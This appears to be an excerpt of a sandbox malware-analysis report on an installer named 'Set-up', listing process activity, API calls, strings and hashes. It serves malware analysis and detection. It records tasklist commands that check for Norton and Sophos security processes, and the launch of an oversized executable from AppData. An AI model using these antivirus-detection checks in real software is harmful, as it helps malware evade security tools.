
Show Windows behavior

Target ID:	39
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	12:53:39
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	12:53:43
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe"
Imagebase:	0x400000
File size:	846'404'211 bytes
MD5 hash:	A42E953364198E087438838FD14040E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NSIS Error, xrefs: 004038E2
_?=, xrefs: 00403A64
SeShutdownPrivilege, xrefs: 00403C16
/D=, xrefs: 004039A6
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D
NCRC, xrefs: 0040397C
\Temp, xrefs: 00403A1B
1C, xrefs: 00403B56

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 0040682C
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
CreateDirectory: "%s" (%d), xrefs: 004017BF
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename: %s, xrefs: 004018F8
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: "%s" created, xrefs: 00401849
Rename on reboot: %s, xrefs: 00401943
Aborting: "%s", xrefs: 0040161D
SetFileAttributes: "%s":%08X, xrefs: 0040177B
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Sleep(%d), xrefs: 0040169D
Jump: %d, xrefs: 00401602
Rename failed: %s, xrefs: 0040194B
Call: %d, xrefs: 0040165A
BringToFront, xrefs: 004016BD
detailprint: %s, xrefs: 00401679

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
